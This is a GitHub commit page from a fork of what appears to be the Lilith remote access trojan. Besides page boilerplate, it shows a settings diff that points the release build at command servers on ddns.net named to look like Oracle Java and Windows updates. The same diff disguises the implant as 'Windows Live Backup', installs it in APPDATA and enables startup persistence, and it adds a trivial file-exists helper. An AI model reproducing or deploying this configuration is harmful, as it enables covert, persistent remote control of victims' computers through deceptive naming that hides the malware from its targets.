forked from werkamsus/Lilith
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
16 changed files
with
162 additions
and
57 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,15 +1,34 @@ | ||
#include "settings.h" | ||
|
||
std::string Settings::serverIP = "windistupdate.ddns.net"; //server ip | ||
int Settings::serverPort = 47128; | ||
#if _DEBUG | ||
std::string Settings::serverIP = "127.0.0.1"; //server ip | ||
int Settings::serverPort = 1111; //server port | ||
|
||
std::string Settings::fileName = "winlive.exe"; //file name | ||
std::string Settings::fileName = "lilithDEBUG.exe"; //file name | ||
std::string Settings::folderName = "lilithDEBUG folder"; //name of folder where file is located | ||
std::string Settings::startupName = "lilithDEBUG startup"; //startup name in registry / taskmgr | ||
std::string Settings::logFileName = "log.txt"; //name of log file | ||
std::string Settings::installLocation = "APPDATA"; //install location (appdata, programdata etc) | ||
bool Settings::installSelf = false; //specifies whether the program should install itself | ||
bool Settings::startOnNextBoot = false; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS) | ||
bool Settings::meltSelf = false; //specifies whether the installed clone should delete the initial file | ||
bool Settings::setStartupSelf = false; //specifies whether the program is to be started on system boot | ||
bool Settings::logEvents = true; | ||
|
||
#else | ||
|
||
std::string Settings::serverIP = "oraclejavaseupdate.ddns.net"; /*windistupdate.ddns.net*/ //server ip | ||
int Settings::serverPort = 47128; //server port | ||
|
||
std::string Settings::fileName = "winliveback.exe"; //file name | ||
std::string Settings::folderName = "Windows Live"; //name of folder where file is located | ||
std::string Settings::startupName = "Windows Live"; //startup name in registry / taskmgr | ||
std::string Settings::startupName = "Windows Live Backup"; //startup name in registry / taskmgr | ||
std::string Settings::logFileName = "log.txt"; //name of log file | ||
std::string Settings::installLocation = "APPDATA"; //install location (appdata, programdata etc) | ||
bool Settings::installSelf = true; //specifies whether the program should install itself | ||
bool Settings::startOnNextBoot = false; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS) | ||
bool Settings::meltSelf = true; //specifies whether the installed clone should delete the initial file | ||
bool Settings::meltSelf = false; //specifies whether the installed clone should delete the initial file | ||
bool Settings::setStartupSelf = true; //specifies whether the program is to be started on system boot | ||
bool Settings::logEvents = true; | ||
bool Settings::logEvents = true; | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
#include "utility.h" | ||
|
||
bool Utility::fileExists(std::string path) | ||
{ | ||
FILE *file; | ||
if (fopen_s(&file, path.c_str(), "r") == 0) | ||
{ | ||
fclose(file); | ||
return true; | ||
} | ||
else | ||
return false; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
#pragma once | ||
|
||
#ifndef UTILITY_H | ||
#define UTILITY_H | ||
|
||
#include <string> | ||
|
||
class Utility | ||
{ | ||
public: //functions | ||
static bool fileExists(std::string path); | ||
}; | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.